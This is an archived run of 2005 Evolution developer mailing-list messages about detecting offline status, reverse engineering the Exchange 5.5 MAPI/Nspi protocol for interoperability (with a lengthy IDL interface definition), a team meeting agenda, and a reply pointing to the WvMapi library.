X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Mon, 2005-01-31 at 22:38 -0800, Sivaiah Nallagatla wrote: > On Sat, 2005-01-29 at 22:51 +0000, Stéphane Konstantaropoulos wrote: > > Hi there, > > > > I 'd like to know whether evolution, as a whole, is online, so that I > > make it publish to non-local uris or not. > > > > Is there a quick way to find that out? > > > > The Shell interface does not provide such a method and the Offline > > interface has no factory. > > > > I could check the offline property of the calendars to publish (with > > e_source_get_property(source, "offline") ) but does that make sense for > > local calendars? > This property ("offline_sync") indicates whether that particular > calendar contents has to be cached for offiline usage or not. It is not > related offline/online status. Isn't there a gconf key that determines the state? Or does that just determine the startup state? -JP -- JP Rosevear Novell, Inc. From lkcl@lkcl.net Tue Feb 1 09:56:43 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 3D33D1247D6; Tue, 1 Feb 2005 09:56:43 -0500 (EST) Received: from open.hands.com (open.hands.com [195.224.53.39]) by lists.ximian.com (Postfix) with ESMTP id 5B35F12507B for ; Tue, 1 Feb 2005 09:56:29 -0500 (EST) Received: from lkcl.net (host81-152-13-251.range81-152.btcentralplus.com [81.152.13.251]) by open.hands.com (Postfix) with ESMTP id 63991BFB5 for ; Tue, 1 Feb 2005 14:56:16 +0000 (GMT) Received: from lkcl by lkcl.net with local (Exim 4.24) id 1Cvzc1-0000B5-4K for evolution-hackers@lists.ximian.com; Tue, 01 Feb 2005 15:06:41 +0000 Date: Tue, 1 Feb 2005 15:06:41 +0000 From: Luke Kenneth Casson Leighton To: evolution-hackers@lists.ximian.com Message-ID: <20050201150641.GV5707@lkcl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i X-hands-com-MailScanner: Found to be clean X-MailScanner-From: lkcl@lkcl.net X-Spam-Status: No, hits=1.9 required=5.0 tests=RCVD_IN_NJABL,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, USER_AGENT_MUTT version=2.53 X-Spam-Level: * X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: hi, i've begun the network-reverse-engineering necessary to interoperating with Exchange 5.5 and Outlook. i have a basic test client and a basic server which is able to return hard coded data structures. the key difference between the present attempt and all previous ones is that i have started from FreeDCE not from decoding MSRPC on-wire, so i have a 99.5% IDL file (2 actually) which define the interfaces. FreeDCE turns that into c code, and it's a matter of filling in the blanks. unfortunately there are a lot of blanks. _fortunately_, the data structures of emsabp.idl (the Nspi interface) are IDENTICAL to those used in mapidefs.h - see Wine's include/windows/mapidefs.h anybody interested in helping out please contact me. in particular, help with tying in MAPI which is actually MS-TNEF which is winmail.dat which is therefore directly relevant to evolution, much appreciated. l. -- -- http://lkcl.net -- [ uuid(f5cc5a18-4264-101a-8c59-08002b2f8426), version(56.0), implicit_handle(handle_t rpc_binding) ] interface emsabp { /* this is mostly identical to wine/include/mapidefs.h, * up until MAPIERROR, at which point it looks completely * unfamiliar and alien. * * the functions in the IMAPITable only look _vaguely_ * familiar but are like, utterly different. * really odd. same data structures. different functions. * oh well. */ #define PR_ENTRYID 0x0fff0102 #define PR_OBJECTID 0xfffd0003 #define PR_DISPLAY_NAME 0x3001001e #define PT_CONTAINER_FLAGS 0x36000003 /* PCF_ISCONTAINER | PCF_HASCHILDCONTAINER */ #define PR_DEPTH 0x30050003 #define PR_PARENTENTRYID 0xfffc0102 typedef unsigned short WCHAR; typedef struct { long element_1; long element_2; long element_3; long element_4; long element_5; long element_6; long element_7; long element_8; long element_9; } EMS_MAPI_UNIDENTIFIED; typedef struct { char ab[16]; } MAPIUID; typedef [context_handle] void *emsabp_hnd_t; long NspiBind( [in] handle_t element_11, [in] long element_12, [in, ref] EMS_MAPI_UNIDENTIFIED *element_13, [in,out, unique] MAPIUID *element_14, [out] emsabp_hnd_t *element_15 ); long NspiUnbind( [in,out] emsabp_hnd_t *element_16, [in] long element_17 ); long NspiUpdateStat( [in] emsabp_hnd_t element_18, [in] long element_19, [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_20, [in,out, unique] long *element_21 ); /* typedef [ptr, string] unsigned long *EMS_SPropTagArray;*/ /* this is probably an SPropTagArray. although it doesn't match * up with the definition in wine/includes/mapidefs.h, it also * is the data structure i've had the most difficulty with, matching * it to on-wire format. */ typedef struct { [unique, length_is(cValues), size_is(cValues)] long *aulPropTag; long cValues; /*long element_24;*/ } EMS_SPropTagArray; typedef [unique] EMS_SPropTagArray *EMS_LPSPropTagArray ; typedef struct { long cb; [size_is(cb), ptr] char *lpb; } EMS_SBinary; typedef struct { long dwLowDateTime; long dwHighDateTime; } EMS_FILETIME; typedef struct { long cValues; [size_is(cValues), ptr] short *lpi; } EMS_SShortArray; typedef struct { long cValues; [size_is(cValues), ptr] long *lpl; } EMS_MULTIVALUE_LONG_STRUCT; typedef struct { long cValues; [size_is(cValues), ptr] long *lppszA; /* this doesn't look right: should be a LPSTR */ } EMS_SLPSTRArray; typedef struct { long cValues; [size_is(cValues), ptr] EMS_SBinary *lpbin; } EMS_SBinaryArray; typedef struct { long cValues; [size_is(cValues), ptr] long *lpguid; /* this doesn't look right: it should be a GUID* */ } EMS_SGuidArray; typedef struct { long cValues; [size_is(cValues), ptr] long *lpi; /* this doesn't look right: it should be a LPWSTR* */ } EMS_MULTIVALUE_UNICODE_STRUCT; typedef struct { long cValues; [size_is(cValues), ptr] EMS_FILETIME *lpft; } EMS_SDateTimeArray; typedef [ptr, string] unsigned short *WSTRING; typedef [ptr, string] char *STRING; #define PT_UNSPECIFIED 0x0000 #define PT_NULL 0x0001 #define PT_I2 0002 #define PT_LONG 0003 #define PT_R4 0004 #define PT_DOUBLE 0x0005 #define PT_CURRENCY 0x0006 #define PT_APPTIME 0x0007 /*#define PT_CLSID 0x0008 */ #define PT_ERROR 0x000a /* means in a response package, that the given attribute contains no value, or not exists. -> So it won't be contained in the enumeration of the attrib. values array. */ #define PT_BOOLEAN 0x000b #define PT_OBJECT 0x000d #define PT_I8 0x0014 #define PT_STRING8 0x001e #define PT_UNICODE 0x001f #define PT_SYSTIME 0x0040 #define PT_CLSID 0x0048 #define PT_BINARY 0x0102 /*(the corresponding ???HDR entry is 4 bytes longer in this case!) 1??? */ /* MV means MultiValued*/ #define PT_MV_I2 0x1002 #define PT_MV_LONG 0x1003 #define PT_MV_R4 0x1004 #define PT_MV_DOUBLE 0x1005 #define PT_MV_CURRENCY 0x1006 #define PT_MV_APPTIME 0x1007 #define PT_MV_I8 0x1014 #define PT_MV_STRING8 0x101e #define PT_MV_TSTRING 0x101e #define PT_MV_UNICODE 0x101f #define PT_MV_SYSTIME 0x1040 #define PT_MV_CLSID 0x1048 #define PT_MV_BINARY 0x1102 typedef [switch_type(long)] union { [case(PT_I2)] short i; [case(PT_LONG)] long l; [case(PT_BOOLEAN)] short b; [case(PT_STRING8)] STRING lpszA; [case(PT_BINARY)] EMS_SBinary bin; [case(PT_UNICODE)] WSTRING lpszW; [case(PT_CLSID), ptr] MAPIUID *lpguid; [case(PT_SYSTIME)] EMS_FILETIME ft; [case(PT_ERROR)] long err; [case(PT_MV_I2)] EMS_SShortArray MVi; [case(PT_MV_LONG)] EMS_MULTIVALUE_LONG_STRUCT MVl; [case(PT_MV_STRING8)] EMS_SLPSTRArray MVszA; [case(PT_MV_BINARY)] EMS_SBinaryArray MVbin; [case(PT_MV_CLSID)] EMS_SGuidArray MVguid; [case(PT_MV_UNICODE)] EMS_MULTIVALUE_UNICODE_STRUCT MVszW; [case(PT_MV_SYSTIME)] EMS_SDateTimeArray MVft; [case(PT_NULL)] long null; [case(PT_OBJECT)] long object; } EMS_SPropValue_CTR; typedef struct { long ulPropTag; long dwAlignPad; [switch_is(ulPropTag)] EMS_SPropValue_CTR Value; } EMS_SPropValue; typedef struct { long ulAdrEntryPad; long cValues; [size_is(cValues), unique] EMS_SPropValue *lpProps; } EMS_SRow; typedef [unique] EMS_SRow *EMS_SRow_PTR ; typedef struct { long cRows; [size_is(cRows)] EMS_SRow aRow[*]; } EMS_SRowSet; typedef [unique] EMS_SRowSet *EMS_SRowSet_PTR ; long NspiQueryRows( [in] emsabp_hnd_t element_69, [in] long element_70, [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_71, [in] long lRows, [in, size_is(lRows), unique] long *element_73, [in] long element_74, [in, ref] EMS_SPropTagArray *element_75, [out, ref] EMS_SRowSet_PTR *element_76 ); long NspiSeekEntries( [in] emsabp_hnd_t element_77, [in] long element_78, [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_79, [in, ref] EMS_SPropValue *element_80, [in, unique] EMS_SPropTagArray *element_81, [in, unique] EMS_SPropTagArray *element_82, [out, ref] EMS_SRowSet_PTR *element_83 ); typedef [ptr] struct _SRestriction *LPSRestriction; typedef struct { long cRes; [size_is(cRes)] LPSRestriction lpRes; } EMS_SAndRestriction; typedef struct { long cRes; [size_is(cRes)] LPSRestriction lpRes; } EMS_SOrRestriction; typedef struct { /* ULONG ulReserved - perhaps an [ignore] property on this one? */ LPSRestriction lpRes; } EMS_SNotRestriction; typedef struct { long ulFuzzyLevel; long ulPropTag; [ptr] EMS_SPropValue *lpProp; } EMS_SContentRestriction; typedef struct { long relop; long ulPropTag; [ptr] EMS_SPropValue *lpProp; } EMS_SPropertyRestriction; typedef struct { long ulReserved1; long ulPropTag; long ulReserved2; } EMS_SExistRestriction; typedef struct { long relop; long ulPropTag; long cb; } EMS_SSizeRestriction; typedef struct { long relBMR; long ulPropTag; long ulMask; } EMS_SBitMaskRestriction; typedef struct { long relop; long ulPropTag1; long ulPropTag2; } EMS_SComparePropsRestriction; typedef struct { long ulSubObject; LPSRestriction lpRes; } EMS_SSubRestriction; typedef struct { [unique] MAPIUID *lpguid; long ulKind; long lID; /* this is actually a union in mapidefs.h */ } EMS_MAPINAMEID; /* Restriction types */ #define RES_AND 0U #define RES_OR 1U #define RES_NOT 2U #define RES_CONTENT 3U #define RES_PROPERTY 4U #define RES_COMPAREPROPS 5U #define RES_BITMASK 6U #define RES_SIZE 7U #define RES_EXIST 8U #define RES_SUBRESTRICTION 9U #define RES_COMMENT 10U typedef [switch_type(long)] union { [case(RES_AND) ] EMS_SAndRestriction resAnd; [case(RES_OR) ] EMS_SOrRestriction resOr; [case(RES_NOT) ] EMS_SNotRestriction resNot; [case(RES_CONTENT) ] EMS_SContentRestriction resContent; [case(RES_PROPERTY) ] EMS_SPropertyRestriction resProperty; [case(RES_COMPAREPROPS) ] EMS_SComparePropsRestriction resCompareProps; [case(RES_BITMASK) ] EMS_SBitMaskRestriction resBitMask; [case(RES_SUBRESTRICTION)] EMS_SSubRestriction resSub; [case(RES_SIZE) ] EMS_SSizeRestriction resSize; [case(RES_EXIST) ] EMS_SExistRestriction resExist; /* case SCommentRestriction is missing! */ } EMS_SRestriction_CTR; typedef struct _SRestriction { long rt; [switch_is(rt)] EMS_SRestriction_CTR res; } EMS_SRestriction; long NspiGetMatches( [in] emsabp_hnd_t element_110, [in] long element_111, [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_112, [in, unique] EMS_SPropTagArray *element_113, [in] long element_114, [in, unique] EMS_SRestriction *element_115, [in, unique] EMS_MAPINAMEID *element_116, [in] long element_117, [out, ref] EMS_SPropTagArray *element_118, [in, ref] EMS_SPropTagArray *element_119, [out, ref] EMS_SRowSet_PTR *element_120 ); long NspiResortRestriction( [in] emsabp_hnd_t element_121, [in] long element_122, [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_123, [in, ref] EMS_SPropTagArray *element_124, [in,out, ref] EMS_LPSPropTagArray *element_125 ); typedef struct { long element_126; [unique, string] char *element_127; } EMS_NAME_STRING; long NspiDNToEph( [in] emsabp_hnd_t element_128, [in] long element_129, [in, ref] EMS_NAME_STRING *element_130, [out, ref] EMS_SPropTagArray *element_131 ); long NspiGetPropList( [in] emsabp_hnd_t element_132, [in] long element_133, [in] long element_134, [in] long element_135, [out, ref] EMS_LPSPropTagArray *element_136 ); long NspiGetProps( [in] emsabp_hnd_t element_137, [in] long element_138, [in, ref] EMS_MAPI_UNIDENTIFIED *element_139, [in, unique] EMS_SPropTagArray *element_140, [out, ref] EMS_SRow_PTR *element_141 ); long NspiCompareDNTs( [in] emsabp_hnd_t element_142, [in] long element_143, [in, ref] EMS_MAPI_UNIDENTIFIED *element_144, [in] long element_145, [in] long element_146, [out, ref] long *element_147 ); long NspiModProps( [in] emsabp_hnd_t element_148, [in] long element_149, [in, ref] EMS_MAPI_UNIDENTIFIED *element_150, [in, unique] EMS_SPropTagArray *element_151, [in, ref] EMS_SRow *element_152 ); long NspiGetHierarchyInfo( [in] emsabp_hnd_t element_153, [in] long element_154, [in, ref] EMS_MAPI_UNIDENTIFIED *element_155, [in,out, ref] long *element_156, [out, ref] EMS_SRowSet_PTR *element_157 ); long NspiGetTemplateInfo( [in] emsabp_hnd_t element_158, [in] long element_159, [in] long element_160, [in, unique, string] char *element_161, [in] long element_162, [in] long element_163, [out, ref] EMS_SRow_PTR *element_164 ); long NspiModLInkAtt( [in] emsabp_hnd_t element_165, [in] long element_166, [in] long element_167, [in] long element_168, [in, ref] EMS_SBinaryArray *element_169 ); long NspiDeleteEntries( [in] emsabp_hnd_t element_170, [in] long element_171, [in] long element_172, [in, ref] EMS_SBinaryArray *element_173 ); long NspiQueryColumns( [in] emsabp_hnd_t element_174, [in] long element_175, [in] long element_176, [out, ref] EMS_LPSPropTagArray *element_177 ); typedef struct { long element_178; [unique] MAPIUID *element_179; } EMS_NAME_CLSID; typedef [ptr] EMS_NAME_CLSID *EMS_NAME_CLSID_PTR; long NspiGetNamesFromIDs( [in] emsabp_hnd_t element_180, [in] long element_181, [in, unique] MAPIUID *element_182, [in, unique] EMS_SPropTagArray *element_183, [out, ref] EMS_LPSPropTagArray *element_184, [out, ref] EMS_NAME_CLSID_PTR *element_185 ); long NspiGetIDsFromNames( [in] emsabp_hnd_t element_186, [in] long element_187, [in] long element_188, [in] long element_189, [in, size_is(element_189), ref] long *element_190, [out, ref] EMS_LPSPropTagArray *element_191 ); long NspiResolveNames( [in] emsabp_hnd_t element_192, [in] long element_193, [in, ref] EMS_MAPI_UNIDENTIFIED *element_194, [in, unique] EMS_SPropTagArray *element_195, [in, ref] EMS_NAME_STRING *element_196, [out, ref] EMS_LPSPropTagArray *element_197, [out, ref] EMS_SRowSet_PTR *element_198 ); typedef struct { long element_199; [unique, string] WCHAR *element_200; } EMS_NAME_UNICODE; long NspiResolveNamesW( [in] emsabp_hnd_t element_201, [in] long element_202, [in, ref] EMS_MAPI_UNIDENTIFIED *element_203, [in, unique] EMS_SPropTagArray *element_204, [in, ref] EMS_NAME_UNICODE *element_205, [out, ref] EMS_LPSPropTagArray *element_206, [out, ref] EMS_SRowSet_PTR *element_207 ); } From jpr@novell.com Tue Feb 1 11:43:24 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id A4144125457; Tue, 1 Feb 2005 11:43:24 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id DECE8125457 for ; Tue, 1 Feb 2005 11:43:12 -0500 (EST) Received: from [192.168.1.15] ([137.65.81.216]) by lyle.provo.novell.com; Tue, 01 Feb 2005 09:43:07 -0700 From: JP Rosevear To: gene-pool@ximian.com Cc: Evolution Hackers mailing list Content-Type: text/plain Organization: Novell, Inc. Date: Tue, 01 Feb 2005 11:43:03 -0500 Message-Id: <1107276184.29099.11.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=1.2 required=5.0 tests=BAYES_10,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: * X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] *Wednesday* 10 am Team Meeting Agenda and IRC Information Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Novell people, send a status report if you can't make it. 10am Boston time (UTC -0500) on Wednesday. This meeting will take place on irc.gimp.org, #evolution-meet 1. JP -2.1 development status -2.1 String freeze -2.1 notification reminder -Patch review mode -2.0.4 bugs and timeline 2. Harish on the wiki 3. Team -individual status reports 4. Additional Business -questions, concerns, etc. -JP -- JP Rosevear Novell, Inc. From pcolijn@gmail.com Tue Feb 1 13:51:33 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id BACB712461E; Tue, 1 Feb 2005 13:51:32 -0500 (EST) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.201]) by lists.ximian.com (Postfix) with ESMTP id 53298124386 for ; Tue, 1 Feb 2005 13:51:20 -0500 (EST) Received: by wproxy.gmail.com with SMTP id 58so414084wri for ; Tue, 01 Feb 2005 10:51:19 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=p8capJdDeUPrnRSrHgF07XKZHxr2BSjLYKrwr4iV9K1osaU9yLAgUNao0a4wtrH8BBCwLs2cKNEfkrNdja52wWvc0hrwKDI3LWL8LmLa4yE9K48iMa95FycTErWSN22JqDRsAEhnbEk4GjT89l8/K1yZXpcBoQbEAz+WGuXMxSU= Received: by 10.54.39.17 with SMTP id m17mr214865wrm; Tue, 01 Feb 2005 10:51:19 -0800 (PST) Received: by 10.54.54.67 with HTTP; Tue, 1 Feb 2005 10:51:18 -0800 (PST) Message-ID: <7c35b00e050201105168b14d75@mail.gmail.com> Date: Tue, 1 Feb 2005 10:51:18 -0800 From: Peter Colijn Reply-To: Peter Colijn To: Luke Kenneth Casson Leighton Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) Cc: evolution-hackers@lists.ximian.com In-Reply-To: <20050201150641.GV5707@lkcl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050201150641.GV5707@lkcl.net> X-Spam-Status: No, hits=-20.5 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Luke, You might want to check out WvMapi. You can download it at http://open.nit.ca/wiki/?DownloadSnapshots (get the evolution-exchangeit tarball, look for the wvampi subdirectory). WvMapi currently supports decoding/encoding TNEFs containing the attMapiProps attribute, from standard iCalendar and vCard files. It's under LGPL. Have fun, Peter On Tue, 1 Feb 2005 15:06:41 +0000, Luke Kenneth Casson Leighton wrote: > hi, > > i've begun the network-reverse-engineering necessary to interoperating > with Exchange 5.5 and Outlook. > > i have a basic test client and a basic server which is able to return > hard coded data structures. > > the key difference between the present attempt and all previous ones is > that i have started from FreeDCE not from decoding MSRPC on-wire, so i > have a 99.5% IDL file (2 actually) which define the interfaces. FreeDCE > turns that into c code, and it's a matter of filling in the blanks. > > unfortunately there are a lot of blanks. _fortunately_, the data > structures of emsabp.idl (the Nspi interface) are IDENTICAL to those > used in mapidefs.h - see Wine's include/windows/mapidefs.h > > anybody interested in helping out please contact me. > > in particular, help with tying in MAPI which is actually MS-TNEF which > is winmail.dat which is therefore directly relevant to evolution, > much appreciated. > > l. > > -- > -- > http://lkcl.net > -- > > [ uuid(f5cc5a18-4264-101a-8c59-08002b2f8426), > version(56.0), > implicit_handle(handle_t rpc_binding) > ] interface emsabp > { > > /* this is mostly identical to wine/include/mapidefs.h, > * up until MAPIERROR, at which point it looks completely > * unfamiliar and alien. > * > * the functions in the IMAPITable only look _vaguely_ > * familiar but are like, utterly different. > * really odd. same data structures. different functions. > * oh well. > */ > > #define PR_ENTRYID 0x0fff0102 > #define PR_OBJECTID 0xfffd0003 > #define PR_DISPLAY_NAME 0x3001001e > #define PT_CONTAINER_FLAGS 0x36000003 /* PCF_ISCONTAINER | PCF_HASCHILDCONTAINER */ > #define PR_DEPTH 0x30050003 > #define PR_PARENTENTRYID 0xfffc0102 > > typedef unsigned short WCHAR; > > typedef struct { > long element_1; > long element_2; > long element_3; > long element_4; > long element_5; > long element_6; > long element_7; > long element_8; > long element_9; > } EMS_MAPI_UNIDENTIFIED; > > typedef struct { > char ab[16]; > } MAPIUID; > > typedef [context_handle] void *emsabp_hnd_t; > > long NspiBind( > [in] handle_t element_11, > [in] long element_12, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_13, > [in,out, unique] MAPIUID *element_14, > [out] emsabp_hnd_t *element_15 > ); > > long NspiUnbind( > [in,out] emsabp_hnd_t *element_16, > [in] long element_17 > ); > > long NspiUpdateStat( > [in] emsabp_hnd_t element_18, > [in] long element_19, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_20, > [in,out, unique] long *element_21 > ); > > /* typedef [ptr, string] unsigned long *EMS_SPropTagArray;*/ > > /* this is probably an SPropTagArray. although it doesn't match > * up with the definition in wine/includes/mapidefs.h, it also > * is the data structure i've had the most difficulty with, matching > * it to on-wire format. > */ > typedef struct { > [unique, length_is(cValues), size_is(cValues)] long *aulPropTag; > long cValues; > /*long element_24;*/ > } EMS_SPropTagArray; > > typedef [unique] EMS_SPropTagArray *EMS_LPSPropTagArray ; > > typedef struct { > long cb; > [size_is(cb), ptr] char *lpb; > } EMS_SBinary; > > typedef struct { > long dwLowDateTime; > long dwHighDateTime; > } EMS_FILETIME; > > typedef struct { > long cValues; > [size_is(cValues), ptr] short *lpi; > } EMS_SShortArray; > > typedef struct { > long cValues; > [size_is(cValues), ptr] long *lpl; > } EMS_MULTIVALUE_LONG_STRUCT; > > typedef struct { > long cValues; > [size_is(cValues), ptr] long *lppszA; /* this doesn't look right: should be a LPSTR */ > } EMS_SLPSTRArray; > > typedef struct { > long cValues; > [size_is(cValues), ptr] EMS_SBinary *lpbin; > } EMS_SBinaryArray; > > typedef struct { > long cValues; > [size_is(cValues), ptr] long *lpguid; /* this doesn't look right: it should be a GUID* */ > } EMS_SGuidArray; > > typedef struct { > long cValues; > [size_is(cValues), ptr] long *lpi; /* this doesn't look right: it should be a LPWSTR* */ > } EMS_MULTIVALUE_UNICODE_STRUCT; > > typedef struct { > long cValues; > [size_is(cValues), ptr] EMS_FILETIME *lpft; > } EMS_SDateTimeArray; > > typedef [ptr, string] unsigned short *WSTRING; > typedef [ptr, string] char *STRING; > > #define PT_UNSPECIFIED 0x0000 > #define PT_NULL 0x0001 > #define PT_I2 0002 > #define PT_LONG 0003 > #define PT_R4 0004 > #define PT_DOUBLE 0x0005 > #define PT_CURRENCY 0x0006 > #define PT_APPTIME 0x0007 > /*#define PT_CLSID 0x0008 */ > #define PT_ERROR 0x000a > /* > means in a response package, that the given attribute contains no value, > or not exists. > -> So it won't be contained in the enumeration of the attrib. values array. > */ > #define PT_BOOLEAN 0x000b > #define PT_OBJECT 0x000d > #define PT_I8 0x0014 > #define PT_STRING8 0x001e > #define PT_UNICODE 0x001f > #define PT_SYSTIME 0x0040 > #define PT_CLSID 0x0048 > #define PT_BINARY 0x0102 /*(the corresponding ???HDR entry is 4 bytes longer in this case!) 1??? */ > > /* MV means MultiValued*/ > #define PT_MV_I2 0x1002 > #define PT_MV_LONG 0x1003 > #define PT_MV_R4 0x1004 > #define PT_MV_DOUBLE 0x1005 > #define PT_MV_CURRENCY 0x1006 > #define PT_MV_APPTIME 0x1007 > #define PT_MV_I8 0x1014 > #define PT_MV_STRING8 0x101e > #define PT_MV_TSTRING 0x101e > #define PT_MV_UNICODE 0x101f > #define PT_MV_SYSTIME 0x1040 > #define PT_MV_CLSID 0x1048 > #define PT_MV_BINARY 0x1102 > > typedef [switch_type(long)] union { > [case(PT_I2)] short i; > [case(PT_LONG)] long l; > [case(PT_BOOLEAN)] short b; > [case(PT_STRING8)] STRING lpszA; > [case(PT_BINARY)] EMS_SBinary bin; > [case(PT_UNICODE)] WSTRING lpszW; > [case(PT_CLSID), ptr] MAPIUID *lpguid; > [case(PT_SYSTIME)] EMS_FILETIME ft; > [case(PT_ERROR)] long err; > [case(PT_MV_I2)] EMS_SShortArray MVi; > [case(PT_MV_LONG)] EMS_MULTIVALUE_LONG_STRUCT MVl; > [case(PT_MV_STRING8)] EMS_SLPSTRArray MVszA; > [case(PT_MV_BINARY)] EMS_SBinaryArray MVbin; > [case(PT_MV_CLSID)] EMS_SGuidArray MVguid; > [case(PT_MV_UNICODE)] EMS_MULTIVALUE_UNICODE_STRUCT MVszW; > [case(PT_MV_SYSTIME)] EMS_SDateTimeArray MVft; > [case(PT_NULL)] long null; > [case(PT_OBJECT)] long object; > } EMS_SPropValue_CTR; > > typedef struct { > long ulPropTag; > long dwAlignPad; > [switch_is(ulPropTag)] EMS_SPropValue_CTR Value; > } EMS_SPropValue; > > typedef struct { > long ulAdrEntryPad; > long cValues; > [size_is(cValues), unique] EMS_SPropValue *lpProps; > } EMS_SRow; > > typedef [unique] EMS_SRow *EMS_SRow_PTR ; > > typedef struct { > long cRows; > [size_is(cRows)] EMS_SRow aRow[*]; > } EMS_SRowSet; > > typedef [unique] EMS_SRowSet *EMS_SRowSet_PTR ; > > long NspiQueryRows( > [in] emsabp_hnd_t element_69, > [in] long element_70, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_71, > [in] long lRows, > [in, size_is(lRows), unique] long *element_73, > [in] long element_74, > [in, ref] EMS_SPropTagArray *element_75, > [out, ref] EMS_SRowSet_PTR *element_76 > ); > > long NspiSeekEntries( > [in] emsabp_hnd_t element_77, > [in] long element_78, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_79, > [in, ref] EMS_SPropValue *element_80, > [in, unique] EMS_SPropTagArray *element_81, > [in, unique] EMS_SPropTagArray *element_82, > [out, ref] EMS_SRowSet_PTR *element_83 > ); > > typedef [ptr] struct _SRestriction *LPSRestriction; > > typedef struct { > long cRes; > [size_is(cRes)] LPSRestriction lpRes; > } EMS_SAndRestriction; > > typedef struct { > long cRes; > [size_is(cRes)] LPSRestriction lpRes; > } EMS_SOrRestriction; > > typedef struct { > /* ULONG ulReserved - perhaps an [ignore] property on this one? */ > LPSRestriction lpRes; > } EMS_SNotRestriction; > > typedef struct { > long ulFuzzyLevel; > long ulPropTag; > [ptr] EMS_SPropValue *lpProp; > } EMS_SContentRestriction; > > typedef struct { > long relop; > long ulPropTag; > [ptr] EMS_SPropValue *lpProp; > } EMS_SPropertyRestriction; > > typedef struct { > long ulReserved1; > long ulPropTag; > long ulReserved2; > } EMS_SExistRestriction; > > typedef struct { > long relop; > long ulPropTag; > long cb; > } EMS_SSizeRestriction; > > typedef struct { > long relBMR; > long ulPropTag; > long ulMask; > } EMS_SBitMaskRestriction; > > typedef struct { > long relop; > long ulPropTag1; > long ulPropTag2; > } EMS_SComparePropsRestriction; > > typedef struct { > long ulSubObject; > LPSRestriction lpRes; > } EMS_SSubRestriction; > > typedef struct { > [unique] MAPIUID *lpguid; > long ulKind; > long lID; /* this is actually a union in mapidefs.h */ > } EMS_MAPINAMEID; > > /* Restriction types */ > #define RES_AND 0U > #define RES_OR 1U > #define RES_NOT 2U > #define RES_CONTENT 3U > #define RES_PROPERTY 4U > #define RES_COMPAREPROPS 5U > #define RES_BITMASK 6U > #define RES_SIZE 7U > #define RES_EXIST 8U > #define RES_SUBRESTRICTION 9U > #define RES_COMMENT 10U > > typedef [switch_type(long)] union { > [case(RES_AND) ] EMS_SAndRestriction resAnd; > [case(RES_OR) ] EMS_SOrRestriction resOr; > [case(RES_NOT) ] EMS_SNotRestriction resNot; > [case(RES_CONTENT) ] EMS_SContentRestriction resContent; > [case(RES_PROPERTY) ] EMS_SPropertyRestriction resProperty; > [case(RES_COMPAREPROPS) ] EMS_SComparePropsRestriction resCompareProps; > [case(RES_BITMASK) ] EMS_SBitMaskRestriction resBitMask; > [case(RES_SUBRESTRICTION)] EMS_SSubRestriction resSub; > [case(RES_SIZE) ] EMS_SSizeRestriction resSize; > [case(RES_EXIST) ] EMS_SExistRestriction resExist; > /* case SCommentRestriction is missing! */ > } EMS_SRestriction_CTR; > > typedef struct _SRestriction { > long rt; > 